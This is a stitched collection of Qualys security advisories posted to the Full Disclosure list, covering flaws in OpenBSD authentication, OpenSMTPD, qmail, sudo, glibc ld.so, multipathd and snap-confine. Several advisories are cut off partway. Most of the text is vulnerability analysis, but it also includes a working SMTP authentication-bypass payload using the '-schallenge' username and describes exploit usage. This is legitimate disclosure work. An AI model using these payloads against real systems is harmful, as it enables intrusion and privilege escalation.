2019-12-06 Thread Qualys Security Advisory

Qualys Security Advisory

Authentication vulnerabilities in OpenBSD


==
Contents
==

1. CVE-2019-19521: Authentication bypass
   1.1. Analysis
   1.2. Case study: smtpd
   1.3. Case study: ldapd
   1.4. Case study: radiusd
   1.5. Case study: sshd
   1.6. Case study: su
2. CVE-2019-19520: Local privilege escalation via xlock
3. CVE-2019-19522: Local privilege escalation via S/Key and YubiKey
4. CVE-2019-19519: Local privilege escalation via su
5. Acknowledgments


==
1. CVE-2019-19521: Authentication bypass
==

We discovered an authentication-bypass vulnerability in OpenBSD's
authentication system: this vulnerability is remotely exploitable in
smtpd, ldapd, and radiusd, but its real-world impact should be studied
on a case-by-case basis. For example, sshd is not exploitable thanks to
its defense-in-depth mechanisms.


==
1.1. Analysis
==

From the manual page of login.conf:

--
 OpenBSD uses BSD Authentication, which is made up of a variety of
 authentication styles.  The authentication styles currently provided are:
 ...
 passwd Request a password and check it against the password in the
master.passwd file.  See login_passwd(8).
 ...
 skey   Send a challenge and request a response, checking it with
S/Key (tm) authentication.  See login_skey(8).
 ...
 yubikeyAuthenticate using a Yubico YubiKey token.  See
login_yubikey(8).
 ...
 For any given style, the program /usr/libexec/auth/login_style is used to
 perform the authentication.  The synopsis of this program is:

 /usr/libexec/auth/login_style [-v name=value] [-s service] username class
--

This is the first piece of the puzzle: if an attacker specifies a
username of the form "-option", they can influence the behavior of the
authentication program in unexpected ways.

From the manual page of login_passwd:

--
 login_passwd [-s service] [-v wheel=yes|no] [-v lastchance=yes|no] user
  [class]
 ...
 The service argument specifies which protocol to use with the invoking
 program.  The allowed protocols are login, challenge, and response.  (The
 challenge protocol is silently ignored but will report success as passwd-
 style authentication is not challenge-response based).
--

This is the second piece of the puzzle: if an attacker specifies the
username "-schallenge" (or "-schallenge:passwd" to force a passwd-style
authentication), then the authentication is automatically successful and
therefore bypassed.


==
1.2. Case study: smtpd
==

To demonstrate how smtpd's authentication can be bypassed, we follow the
instructions from the manual page of smtpd.conf:

--
 In this second example, the aim is to permit mail delivery and relaying
 only for users that can authenticate (using their normal login
 credentials).
   ...
   listen on egress tls pki mail.example.com auth
   ...
   match auth from any for any action "outbound"
--

and we restart smtpd. Then, with our remote-attacker hat on:

--
$ printf '\0-schallenge\0whatever' | openssl base64
AC1zY2hhbGxlbmdlAHdoYXRldmVy

$ openssl s_client -connect 192.168.56.121:25 -starttls smtp
...
EHLO client.example.com
...
AUTH PLAIN AC1zY2hhbGxlbmdlAHdoYXRldmVy
235 2.0.0 Authentication succeeded
--


==
1.3. Case study: ldapd
==

From the manual page of ldapd:

--
 ldapd can authenticate users via simple binds or SASL with the PLAIN
 mechanism.
 ...
 When

[FD] Local information disclosure in OpenSMTPD (CVE-2020-8793)

2020-02-27 Thread Qualys Security Advisory

Qualys Security Advisory

Local information disclosure in OpenSMTPD (CVE-2020-8793)


==
Contents
==

Summary
Analysis
Exploitation
POKE 47196, 201
Acknowledgments


==
Summary
==

We discovered a minor vulnerability in OpenSMTPD, OpenBSD's mail server:
an unprivileged local attacker can read the first line of an arbitrary
file (for example, root's password hash in /etc/master.passwd) or the
entire contents of another user's file (if this file and
/var/spool/smtpd/ are on the same filesystem).

We developed a proof of concept and successfully tested it against
OpenBSD 6.6 (the current release). This vulnerability is generally not
exploitable on Linux, because /proc/sys/fs/protected_hardlinks is 1 by
default on most distributions. Surprisingly, however, it is exploitable
on Fedora (31) and yields full root privileges.


==
Analysis
==

In October 2015 we published the results of an exhaustive OpenSMTPD
audit (https://www.qualys.com/2015/10/02/opensmtpd-audit-report.txt);
one of our key findings was:

--
Multiple hardlink attacks in the offline directory
...

In the world-writable "/var/spool/smtpd/offline" directory, local users
can create hardlinks to files they do not own, and wait until the server
reboots (or, crash OpenSMTPD with a denial-of-service and wait until the
administrator restarts it) to carry out assorted attacks.
...

2/ The following code in offline_enqueue() allows an attacker to
execvp() "/usr/sbin/smtpctl" as "sendmail", with a command-line argument
that is the hardlinked file's first line (CVE-2015-ABCD):
...

For example, an attacker can hardlink /etc/master.passwd to the offline
directory, and retrieve its first line (root's encrypted password) by
running ps (or a small program that simply calls sysctl() with
KERN_FILE_BYUID and KERN_PROC_ARGV) in a loop:
...

4/ If an attacker is able to reach another user's file (i.e., +x on all
directories that lead to the file) but not read it, he can hardlink the
file to the offline directory, and wait for savedeadletter() to create a
world-readable copy of the file in this other user's home directory:
--

OpenBSD's patch for this vulnerability was threefold:

a/ They removed the world-writable and sticky bits from
/var/spool/smtpd/offline, changed its group to "_smtpq", and made
/usr/sbin/smtpctl set-group-ID _smtpq:

--
drwxrwx---  2 root  _smtpq 512 Oct 12 10:34 /var/spool/smtpd/offline
-r-xr-sr-x  1 root  _smtpq  217736 Oct 12 10:34 /usr/sbin/smtpctl
--

b/ They added an _smtpq group check to offline_scan():

--
1543 /* offline file group must match parent directory group */
1544 if (e->fts_statp->st_gid != 
e->fts_parent->fts_statp->st_gid)
1545 continue;

1553 if (offline_add(e->fts_name)) {
1554 log_warnx("warn: smtpd: "
1555 "could not add offline message %s", 
e->fts_name);
1556 continue;
1557 }
--

This check (at line 1544) effectively prevents offline_scan() from
adding the filename of a hardlink to the offline queue (at line 1553),
because no interesting file on the filesystem belongs to the group
_smtpq.

c/ They added a hardlink check to offline_enqueue() (at line 1631),
which is called by offline_add():

--
1615 if ((fd = open(path, O_RDONLY|O_NOFOLLOW|O_NONBLOCK)) == 
-1) {
1616 log_warn("warn: smtpd: open: %s", path);
1617 _exit(1);
1618 }
1619
1620 if (fstat(fd, ) == -1) {
1621 log_warn("warn: smtpd: fstat: %s", path);
1622 _exit(1);
1623 }

1631 if (sb.st_nlink != 1) {
1632 log_warnx("warn: smtpd: file %s is hard-link", 
path);
1633 _exit(1);
1634 

[FD] LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)

2020-02-28 Thread Qualys Security Advisory

Qualys Security Advisory

LPE and RCE in OpenSMTPD's default install (CVE-2020-8794)


==
Contents
==

Summary
Analysis
...
Acknowledgments


==
Summary
==

We discovered a vulnerability in OpenSMTPD, OpenBSD's mail server. This
vulnerability, an out-of-bounds read introduced in December 2015 (commit
80c6a60c, "when peer outputs a multi-line response ..."), is exploitable
remotely and leads to the execution of arbitrary shell commands: either
as root, after May 2018 (commit a8e22235, "switch smtpd to new
grammar"); or as any non-root user, before May 2018.

Because this vulnerability resides in OpenSMTPD's client-side code
(which delivers mail to remote SMTP servers), we must consider two
different scenarios:

- Client-side exploitation: This vulnerability is remotely exploitable
  in OpenSMTPD's (and hence OpenBSD's) default configuration. Although
  OpenSMTPD listens on localhost only, by default, it does accept mail
  from local users and delivers it to remote servers. If such a remote
  server is controlled by an attacker (either because it is malicious or
  compromised, or because of a man-in-the-middle, DNS, or BGP attack --
  SMTP is not TLS-encrypted by default), then the attacker can execute
  arbitrary shell commands on the vulnerable OpenSMTPD installation.

- Server-side exploitation: First, the attacker must connect to the
  OpenSMTPD server (which accepts external mail) and send a mail that
  creates a bounce. Next, when OpenSMTPD connects back to their mail
  server to deliver this bounce, the attacker can exploit OpenSMTPD's
  client-side vulnerability. Last, for their shell commands to be
  executed, the attacker must (to the best of our knowledge) crash
  OpenSMTPD and wait until it is restarted (either manually by an
  administrator, or automatically by a system update or reboot).

We developed a simple exploit for this vulnerability and successfully
tested it against OpenBSD 6.6 (the current release), OpenBSD 5.9 (the
first vulnerable release), Debian 10 (stable), Debian 11 (testing), and
Fedora 31. At OpenBSD's request, and to give OpenSMTPD's users a chance
to patch their systems, we are withholding the exploitation details and
code until Wednesday, February 26, 2020.

Last-minute note: we tested our exploit against the recent changes in
OpenSMTPD 6.6.3p1, and our results are: if the "mbox" method is used for
local delivery (the default in OpenBSD -current), then arbitrary command
execution as root is still possible; otherwise (if the "maildir" method
is used, for example), arbitrary command execution as any non-root user
is possible.


==
Analysis
==

SMTP clients connect to SMTP servers and send commands such as EHLO,
MAIL FROM, and RCPT TO. SMTP servers respond with either single-line or
multiple-line replies:

- the first lines begin with a three-digit code and a hyphen ('-'),
  followed by an optional text (for example, "250-ENHANCEDSTATUSCODES");

- the last line begins with the same three-digit code, followed by an
  optional space (' ') and text (for example, "250 HELP").

In OpenSMTPD's client-side code, these multiline replies are parsed by
the mta_io() function:

--
1098 static void
1099 mta_io(struct io *io, int evt, void *arg)
1100 {

1133 case IO_DATAIN:
1134 nextline:
1135 line = io_getline(s->io, );

1146 if ((error = parse_smtp_response(line, len, , ))) 
{
--

- the first lines (when line[3] == '-') are concatenated into a 2KB
  replybuf:

--
1177 if (cont) {
1178 if (s->replybuf[0] == '\0')
1179 (void)strlcat(s->replybuf, line, sizeof 
s->replybuf);
1180 else {
1181 line = line + 4;

1187 (void)strlcat(s->replybuf, line, 
sizeof s->replybuf);
1188 }
1189 goto nextline;
1190 }
--

- the last line (when line[3] != '-') is also concatenated into
  replybuf:

--
1195  

[FD] LPE and RCE in OpenSMTPD (CVE-2020-7247)

2020-01-31 Thread Qualys Security Advisory

Qualys Security Advisory

LPE and RCE in OpenSMTPD (CVE-2020-7247)


==
Contents
==

Summary
Analysis
Exploitation
Acknowledgments


==
Summary
==

We discovered a vulnerability in OpenSMTPD, OpenBSD's mail server. This
vulnerability is exploitable since May 2018 (commit a8e222352f, "switch
smtpd to new grammar") and allows an attacker to execute arbitrary shell
commands, as root:

- either locally, in OpenSMTPD's default configuration (which listens on
  the loopback interface and only accepts mail from localhost);

- or locally and remotely, in OpenSMTPD's "uncommented" default
  configuration (which listens on all interfaces and accepts external
  mail).

We developed a simple proof of concept and successfully tested it
against OpenBSD 6.6 (the current release) and Debian testing (Bullseye);
other versions and distributions may be exploitable.


==
Analysis
==

OpenSMTPD's smtp_mailaddr() function is responsible for validating
sender (MAIL FROM) and recipient (RCPT TO) mail addresses:

--
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char 
**args,
2191 const char *domain)
2192 {

2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {

2234 return (0);
2235 }
2236
2237 return (1);
2238 }
--

- it calls valid_domainpart() to validate the domain name (after the @
  sign) of a mail address -- this function only accepts IPv4 and IPv6
  addresses, and alpha-numeric, '.', '-', and '_' characters;

- it calls valid_localpart() to validate the local part (before the @
  sign) of a mail address -- this function only accepts alpha-numeric,
  '.', and MAILADDR_ALLOWED characters (a white list from RFC 5322):

  71 #define MAILADDR_ALLOWED"!#$%&'*/?^`{|}~+-=_"

Among the characters in MAILADDR_ALLOWED, the ones that are also in
MAILADDR_ESCAPE are later transformed into ':' characters (escaped) by
mda_expand_token():

  72 #define MAILADDR_ESCAPE "!#$%&'*?`{|}~"

smtp_mailaddr()'s white-listing and mda_expand_token()'s escaping are
fundamental to OpenSMTPD's security -- they prevent dangerous characters
from reaching the shell that executes MDA commands (in mda_unpriv()):

execle("/bin/sh", "/bin/sh", "-c", mda_command, (char *)NULL,
mda_environ);

Mail Delivery Agents (MDAs) are responsible for delivering mail to local
recipients; for example, OpenSMTPD's default MDA method is "mbox", and
the corresponding MDA command is (in parse.y):

asprintf(>u.local.command,
"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}");

where %{user.username} is the name of an existing local user (the local
part of the recipient address), and %{mbox.from} is the sender address
(which would be under the complete control of an attacker if it were not
for smtp_mailaddr()'s white-listing and mda_expand_token()'s escaping).

Unfortunately, we discovered a vulnerability in smtp_mailaddr()
(CVE-2020-7247):

--
2189 static int
2190 smtp_mailaddr(struct mailaddr *maddr, char *line, int mailfrom, char 
**args,
2191 const char *domain)
2192 {

2218 if (!valid_localpart(maddr->user) ||
2219 !valid_domainpart(maddr->domain)) {

2229 if (maddr->domain[0] == '\0') {
2230 (void)strlcpy(maddr->domain, domain,
2231 sizeof(maddr->domain));
2232 return (1);
2233 }
2234 return (0);
2235 }
2236
2237 return (1);
2238 }
--

If the local part of an address is invalid (line 2218) and if its domain
name is empty (line 2229), then smtp_mailaddr() adds the default domain
automatically (line 2230) and returns 1 (line 2232), although it should
return 0 because the local part of the address is invalid (for example,
because it contains invalid characters).

As a result, an attacker can pass dangerous characters that are not in
MAILADDR_ALLOWED and not in MAILADDR_ESCAPE (';' and ' ' in particular)
to the shell that executes the MD

[FD] Remote Code Execution in qmail (CVE-2005-1513)

2020-05-22 Thread Qualys Security Advisory

Qualys Security Advisory

15 years later: Remote Code Execution in qmail (CVE-2005-1513)



Contents


Summary
Analysis
Exploitation
qmail-verify
- CVE-2020-3811
- CVE-2020-3812
Mitigations
Acknowledgments
Patches



Summary


TLDR: In 2005, three vulnerabilities were discovered in qmail but were
never fixed because they were believed to be unexploitable in a default
installation. We recently re-discovered these vulnerabilities and were
able to exploit one of them remotely in a default installation.



In May 2005, Georgi Guninski published "64 bit qmail fun", three
vulnerabilities in qmail (CVE-2005-1513, CVE-2005-1514, CVE-2005-1515):

http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html

Surprisingly, we re-discovered these vulnerabilities during a recent
qmail audit; they have never been fixed because, as stated by qmail's
author Daniel J. Bernstein (in https://cr.yp.to/qmail/guarantee.html):

"This claim is denied. Nobody gives gigabytes of memory to each
qmail-smtpd process, so there is no problem with qmail's assumption
that allocated array lengths fit comfortably into 32 bits."

Indeed, the memory consumption of each qmail-smtpd process is severely
limited by default (by qmail-smtpd's startup script); for example, on
Debian 10 (the latest stable release), it is limited to roughly 7MB.

Unfortunately, we discovered that these vulnerabilities also affect
qmail-local, which is reachable remotely and is not memory-limited by
default (we investigated many qmail packages, and *all* of them limit
qmail-smtpd's memory, but *none* of them limits qmail-local's memory).

As a proof of concept, we developed a reliable, local and remote exploit
against Debian's qmail package in its default configuration. This proof
of concept requires 4GB of disk space and 8GB of memory, and allows an
attacker to execute arbitrary shell commands as any user, except root
(and a few system users who do not own their home directory). We will
publish our proof-of-concept exploit in the near future.

About our new discovery, Daniel J. Bernstein issues the following
statement:

"https://cr.yp.to/qmail/guarantee.html has for many years mentioned
qmail's assumption that allocated array lengths fit comfortably into
32 bits. I run each qmail service under softlimit -m12345678, and I
recommend the same for other installations."

Finally, we also discovered two minor vulnerabilities in qmail-verify (a
third-party qmail patch that is included in, for example, Debian's qmail
package): CVE-2020-3811 (a mail-address verification bypass), and
CVE-2020-3812 (a local information disclosure).



Analysis


We decided to exploit Georgi Guninski's vulnerability "1. integer
overflow in stralloc_readyplus" (CVE-2005-1513). There are, in fact,
four potential integer overflows in stralloc_readyplus; three in the
GEN_ALLOC_readyplus() macro (which generates the stralloc_readyplus()
function), at line 21 (n += x->len), line 23 (x->a = base + n + ...),
and line 24 (x->a * sizeof(type)):


 17 #define GEN_ALLOC_readyplus(ta,type,field,len,a,i,n,x,base,ta_rplus) \
 18 int ta_rplus(x,n) register ta *x; register unsigned int n; \
 19 { register unsigned int i; \
 20   if (x->field) { \
 21 i = x->a; n += x->len; \
 22 if (n > i) { \
 23   x->a = base + n + (n >> 3); \
 24   if (alloc_re(>field,i * sizeof(type),x->a * sizeof(type))) return 
1; \
 25   x->a = i; return 0; } \
 26 return 1; } \
 27   x->len = 0; \
 28   return !!(x->field = (type *) alloc((x->a = n) * sizeof(type))); }


and, in theory, one integer overflow in the alloc() function itself
(which is called by the alloc_re() function), at line 18:


 14 /*@null@*//*@out@*/char *alloc(n)
 15 unsigned int n;
 16 {
 17   char *x;
 18   n = ALIGNMENT + n - (n & (ALIGNMENT - 1)); /* XXX: could overflow */
 ..
 20   x = malloc(n);
 ..
 22   return x;
 23 }


In practice, the integer overflows at line 21 (in GEN_ALLOC_readyplus())
and line 18 (in alloc()) are very hard to trigger; and the one at line
24 (in GEN_ALLOC_readyplus()) is irrelevant to stralloc_readyplus's 

Re: [FD] Remote Code Execution in qmail (CVE-2005-1513)

2020-06-23 Thread Qualys Security Advisory
Hi all,

Our Linux exploit for CVE-2005-1513 in qmail is attached to this email.
Alternatively, it will be available at:

https://www.qualys.com/research/security-advisories/

A few notes about this exploit:

- It works as-is against a default, unpatched installation of qmail on
  Debian 10 (amd64). It requires roughly 4GB of disk space and 8GB of
  memory on the target machine, and creates a file in /tmp when
  successful.

- It can be ported to other Linux distributions (if the qmail-local
  binary is not full-RELRO) by modifying the lines marked with XXX in
  the exploit code.

- To obtain the mmap layout described in our advisory, the exploit
  simulates the qmail-local program, and must therefore be executed on
  the same type of Linux distribution as the target. For example, in our
  tests, we executed the exploit on a Debian 10.0 machine and remotely
  attacked a Debian 10.3 machine.

  The exploit parameters can probably be calculated without the
  qmail-local simulation, and can certainly be precalculated, but we
  wanted to keep our exploit as general as possible.

For the local exploit (LPE), there are only two command-line arguments:

- "user": the name of the target user (on a default Debian installation,
  this can be "man", "root", "avahi-autoipd", or any real user account).

- "domain": by default, the hostname in "/var/lib/qmail/control/me".

For the command line of the remote exploit (RCE), there are three
mandatory options, three arguments, and one optional option:

- "-i client_ip": the IP address of the attacking machine, as seen by
  the target machine.

- "-h client_host": the hostname of the attacking machine (if it has no
  reverse DNS, the empty string can be specified, and the exploit will
  use qmail's default, "unknown").

- "-s server_host": the hostname of the target machine (by default, the
  same as the "domain" below).

- "user": the name of the target user.

- "domain": by default, the hostname in "/var/lib/qmail/control/me" on
  the target machine (and hence the hostname in qmail's SMTP banner).

- "server_ip": the IP address of the target machine.

- "-d homedir": the home directory of the target user, if known
  (otherwise, the exploit uses a reasonable default).

We are at your disposal for questions, comments, and further
discussions. Thank you very much!

With best regards,

--
the Qualys Security Advisory team


[https://d1dejaj6dcqv24.cloudfront.net/asset/image/email-banner-384-2x.png]<https://www.qualys.com/email-banner>



This message may contain confidential and privileged information. If it has 
been sent to you in error, please reply to advise the sender of the error and 
then immediately delete it. If you are not the intended recipient, do not read, 
copy, disclose or otherwise use this message. The sender disclaims any 
liability for such unauthorized use. NOTE that all incoming emails sent to 
Qualys email accounts will be archived and may be scanned by us and/or by 
external service providers to detect and prevent threats to our systems, 
investigate illegal or inappropriate behavior, and/or eliminate unsolicited 
promotional emails (“spam”). If you have any concerns about this process, 
please contact us.


CVE-2005-1513.tar.gz
Description: application/gzip

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)

2021-01-26 Thread Qualys Security Advisory

Qualys Security Advisory

Baron Samedit: Heap-based buffer overflow in Sudo (CVE-2021-3156)



Contents


Summary
Analysis
Exploitation
Acknowledgments
Timeline



Summary


We discovered a heap-based buffer overflow in Sudo
(https://www.sudo.ws/). This vulnerability:

- is exploitable by any local user (normal users and system users,
  sudoers and non-sudoers), without authentication (i.e., the attacker
  does not need to know the user's password);

- was introduced in July 2011 (commit 8255ed69), and affects all legacy
  versions from 1.8.2 to 1.8.31p2 and all stable versions from 1.9.0 to
  1.9.5p1, in their default configuration.

We developed three different exploits for this vulnerability, and
obtained full root privileges on Ubuntu 20.04 (Sudo 1.8.31), Debian 10
(Sudo 1.8.27), and Fedora 33 (Sudo 1.9.2). Other operating systems and
distributions are probably also exploitable.



Analysis


If Sudo is executed to run a command in "shell" mode (shell -c command):

- either through the -s option, which sets Sudo's MODE_SHELL flag;

- or through the -i option, which sets Sudo's MODE_SHELL and
  MODE_LOGIN_SHELL flags;

then, at the beginning of Sudo's main(), parse_args() rewrites argv
(lines 609-617), by concatenating all command-line arguments (lines
587-595) and by escaping all meta-characters with backslashes (lines
590-591):


571 if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
572 char **av, *cmnd = NULL;
573 int ac = 1;
...
581 cmnd = dst = reallocarray(NULL, cmnd_size, 2);
...
587 for (av = argv; *av != NULL; av++) {
588 for (src = *av; *src != '\0'; src++) {
589 /* quote potential meta characters */
590 if (!isalnum((unsigned char)*src) && *src != '_' && 
*src != '-' && *src != '$')
591 *dst++ = '\\';
592 *dst++ = *src;
593 }
594 *dst++ = ' ';
595 }
...
600 ac += 2; /* -c cmnd */
...
603 av = reallocarray(NULL, ac + 1, sizeof(char *));
...
609 av[0] = (char *)user_details.shell; /* plugin may override shell */
610 if (cmnd != NULL) {
611 av[1] = "-c";
612 av[2] = cmnd;
613 }
614 av[ac] = NULL;
615
616 argv = av;
617 argc = ac;
618 }


Later, in sudoers_policy_main(), set_cmnd() concatenates the
command-line arguments into a heap-based buffer "user_args" (lines
864-871) and unescapes the meta-characters (lines 866-867), "for sudoers
matching and logging purposes":


 819 if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
 ...
 852 for (size = 0, av = NewArgv + 1; *av; av++)
 853 size += strlen(*av) + 1;
 854 if (size == 0 || (user_args = malloc(size)) == NULL) {
 ...
 857 }
 858 if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
 ...
 864 for (to = user_args, av = NewArgv + 1; (from = *av); av++) 
{
 865 while (*from) {
 866 if (from[0] == '\\' && !isspace((unsigned 
char)from[1]))
 867 from++;
 868 *to++ = *from++;
 869 }
 870 *to++ = ' ';
 871 }
 ...
 884 }
 ...
 886 }


Unfortunately, if a command-line argument ends with a single backslash
character, then:

- at line 866, "from[0]" is the backslash character, and "from[1]" is
  the argument's null terminator (i.e., not a space character);

- at line 867, "from" is incremented and points to the null terminator;

- at line 868, the null terminator is copied to the "user_args" buffer,
  and "from" is incremented again and points to the first character
  after the null terminator (i.e., out of the argument's bounds);

- the "while" loop at lines 865-869 reads and copies out-of-bounds
  characters to the "user_args" buffer.

In other words, set_cmnd() is vulnerable to a heap-based buffer
overflow, because the out-of-bounds characters th

[FD] CVE-2023-4911: Local Privilege Escalation in the glibc's ld.so

2023-10-05 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

Looney Tunables: Local Privilege Escalation in the glibc's ld.so
(CVE-2023-4911)



Contents


Summary
Analysis
Proof of concept
Exploitation
Acknowledgments
Timeline



Summary


The GNU C Library's dynamic loader "find[s] and load[s] the shared
objects (shared libraries) needed by a program, prepare[s] the program
to run, and then run[s] it" (man ld.so). The dynamic loader is extremely
security sensitive, because its code runs with elevated privileges when
a local user executes a set-user-ID program, a set-group-ID program, or
a program with capabilities. Historically, the processing of environment
variables such as LD_PRELOAD, LD_AUDIT, and LD_LIBRARY_PATH has been a
fertile source of vulnerabilities in the dynamic loader.

Recently, we discovered a vulnerability (a buffer overflow) in the
dynamic loader's processing of the GLIBC_TUNABLES environment variable
(https://www.gnu.org/software/libc/manual/html_node/Tunables.html). This
vulnerability was introduced in April 2021 (glibc 2.34) by commit 2ed18c
("Fix SXID_ERASE behavior in setuid programs (BZ #27471)").

We successfully exploited this vulnerability and obtained full root
privileges on the default installations of Fedora 37 and 38, Ubuntu
22.04 and 23.04, Debian 12 and 13; other distributions are probably also
vulnerable and exploitable (one notable exception is Alpine Linux, which
uses musl libc, not the glibc). We will not publish our exploit for now;
however, this buffer overflow is easily exploitable (by transforming it
into a data-only attack), and other researchers might publish working
exploits shortly after this coordinated disclosure.



Analysis


At the very beginning of its execution, ld.so calls __tunables_init() to
walk through the environment (at line 279), searching for GLIBC_TUNABLES
variables (at line 282); for each GLIBC_TUNABLES that it finds, it makes
a copy of this variable (at line 284), calls parse_tunables() to process
and sanitize this copy (at line 286), and finally replaces the original
GLIBC_TUNABLES with this sanitized copy (at line 288):


269 void
270 __tunables_init (char **envp)
271 {
272   char *envname = NULL;
273   char *envval = NULL;
274   size_t len = 0;
275   char **prev_envp = envp;
...
279   while ((envp = get_next_env (envp, , , ,
280_envp)) != NULL)
281 {
282   if (tunable_is_name ("GLIBC_TUNABLES", envname))
283 {
284   char *new_env = tunables_strdup (envname);
285   if (new_env != NULL)
286 parse_tunables (new_env + len + 1, envval);
287   /* Put in the updated envval.  */
288   *prev_envp = new_env;
289   continue;
290 }


The first argument of parse_tunables() (tunestr) points to the
soon-to-be-sanitized copy of GLIBC_TUNABLES, while the second argument
(valstring) points to the original GLIBC_TUNABLES environment variable
(in the stack). To sanitize the copy of GLIBC_TUNABLES (which should be
of the form "tunable1=aaa:tunable2=bbb"), parse_tunables() removes all
dangerous tunables (the SXID_ERASE tunables) from tunestr, but keeps
SXID_IGNORE and NONE tunables (at lines 221-235):


162 static void
163 parse_tunables (char *tunestr, char *valstring)
164 {
...
168   char *p = tunestr;
169   size_t off = 0;
170 
171   while (true)
172 {
173   char *name = p;
174   size_t len = 0;
175 
176   /* First, find where the name ends.  */
177   while (p[len] != '=' && p[len] != ':' && p[len] != '\0')
178 len++;
179 
180   /* If we reach the end of the string before getting a valid name-value
181  pair, bail out.  */
182   if (p[len] == '\0')
183 {
184   if (__libc_enable_secure)
185 tunestr[off] = '\0';
186   return;
187 }
188 
189   /* We did not find a valid name-value pair before encountering the
190  colon.  */
191   if (p[len]== ':')
192 {
193   p += len + 1;
194   continue;
195 }
196 
197   p += len + 1;
198 
199   /* Take the value from the valstring since we need to NULL terminate 
it.  */
200   char *value = [p - tunestr];
201   len = 0;
202 
203   while (p[len] != ':' && p[len] != '\0')
204   

[FD] Authorization bypass and symlink attack in multipathd (CVE-2022-41974 and CVE-2022-41973)

2022-10-30 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

Leeloo Multipath: Authorization bypass and symlink attack in multipathd
(CVE-2022-41974 and CVE-2022-41973)



Contents


Summary
CVE-2022-41974: Authorization bypass
CVE-2022-41973: Symlink attack
Acknowledgments
Timeline



Summary


We discovered two local vulnerabilities (an authorization bypass and a
symlink attack) in multipathd, a daemon that is running as root in the
default installation of (for example) Ubuntu Server:

https://ubuntu.com/server/docs/device-mapper-multipathing-introduction
https://github.com/opensvc/multipath-tools

We combined these two vulnerabilities with a third vulnerability, in
another package that is also installed by default on Ubuntu Server, and
obtained full root privileges on Ubuntu Server 22.04; other releases are
probably also exploitable. We will publish this third vulnerability, and
the complete details of this local privilege escalation, in an upcoming
advisory.

The authorization bypass (CVE-2022-41974) was introduced in February
2017 (version 0.7.0) by commit 9acda0c ("Perform socket client uid check
on IPC commands"), but earlier versions perform no authorization checks
at all: any unprivileged local user can issue any privileged command to
multipathd.

The symlink attack (CVE-2022-41973) was introduced in May 2018 (version
0.7.7) by commit 65d0a63 ("functions to indicate mapping failure in
/dev/shm"); the vulnerable code was hardened significantly in May 2020
(version 0.8.5) by commit 40ee3ea ("simplify failed wwid code"), but it
remains exploitable nonetheless.



CVE-2022-41974: Authorization bypass


The multipathd daemon listens for client connections on an abstract Unix
socket (conveniently, the multipathd binary itself can act as a client,
if executed with non-option arguments; we use this feature extensively
in this advisory to connect and send commands to the multipathd daemon):


$ ps -ef | grep 'multipath[d]'
root 377   1  0 13:55 ?00:00:00 /sbin/multipathd -d -s

$ ss -l -x | grep 'multipathd'
u_str LISTEN 0  4096@/org/kernel/linux/storage/multipathd 18105


The commands sent by a client to multipathd are composed of keywords,
and internally, each keyword is identified by a different bit; for
example, "list" is 1 (1<<0), "add" is 2 (1<<1), and "path" (which
requires a parameter) is 65536 (1<<16):


155 load_keys (void)
...
163 r += add_key(keys, "list", LIST, 0);
164 r += add_key(keys, "show", LIST, 0);
165 r += add_key(keys, "add", ADD, 0);
...
183 r += add_key(keys, "path", PATH, 1);

 53 #define LIST(1ULL << __LIST)
 54 #define ADD (1ULL << __ADD)
 ..
 69 #define PATH(1ULL << __PATH)

  6 enum {
  7 __LIST, /*  0 */
  8 __ADD,
 ..
 23 __PATH,


In turn, each command is associated with a handler (a C function) by its
fingerprint -- the bitwise OR of its constituent keywords; for example,
the command "list path PARAM" is associated with cli_list_path() by the
fingerprint 65537 (LIST+PATH=1+65536), and the command "add path PARAM"
is associated with cli_add_path() by the fingerprint 65538
(ADD+PATH=2+65536):


1522 void init_handler_callbacks(void)

1527 set_handler_callback(LIST+PATH, cli_list_path);

1549 set_handler_callback(ADD+PATH, cli_add_path);

321 static uint64_t
322 fingerprint(const struct _vector *vec)
...
325 uint64_t fp = 0;
...
331 vector_foreach_slot(vec, kw, i)
332 fp += kw->code;
333 
334 return fp;

 89 static struct handler *
 90 find_handler (uint64_t fp)
 ..
 95 vector_foreach_slot (handlers, h, i)
 96 if (h->fingerprint == fp)
 97 

[FD] Race condition in snap-confine's must_mkdir_and_open_with_perms() (CVE-2022-3328)

2022-12-08 Thread Qualys Security Advisory via Fulldisclosure


Qualys Security Advisory

Race condition in snap-confine's must_mkdir_and_open_with_perms()
(CVE-2022-3328)



Contents


Summary
Background
Exploitation
Acknowledgments
Timeline

I can't help but feel a missed opportunity to integrate lyrics from
one of the best songs ever: [SNAP! - The Power (Official Video)]
-- https://twitter.com/spendergrsec/status/1494420041076461570



Summary


We discovered a race condition (CVE-2022-3328) in snap-confine, a
SUID-root program installed by default on Ubuntu. In this advisory, we
tell the story of this vulnerability (which was introduced in February
2022 by the patch for CVE-2021-44731) and detail how we exploited it in
Ubuntu Server (a local privilege escalation, from any user to root) by
combining it with two vulnerabilities in multipathd (an authorization
bypass and a symlink attack, CVE-2022-41974 and CVE-2022-41973):

https://www.qualys.com/2022/10/24/leeloo-multipath/leeloo-multipath.txt



Background


Like the crack of the whip, I Snap! attack
Radical mind, day and night all the time
-- SNAP! - The Power

In February 2022, we published CVE-2021-44731 in our "Lemmings" advisory
(https://www.qualys.com/2022/02/17/cve-2021-44731/oh-snap-more-lemmings.txt):
to set up a snap's sandbox, snap-confine created the temporary directory
/tmp/snap.$SNAP_NAME or reused it if it already existed, even if it did
not belong to root; a local attacker could race against snap-confine,
retain control over /tmp/snap.$SNAP_NAME, and eventually obtain full
root privileges.

This vulnerability was patched by commit acb2b4c ("cmd/snap-confine:
Prevent user-controlled race in setup_private_mount"), which introduced
a new helper function, must_mkdir_and_open_with_perms():


142 static void setup_private_mount(const char *snap_name)
...
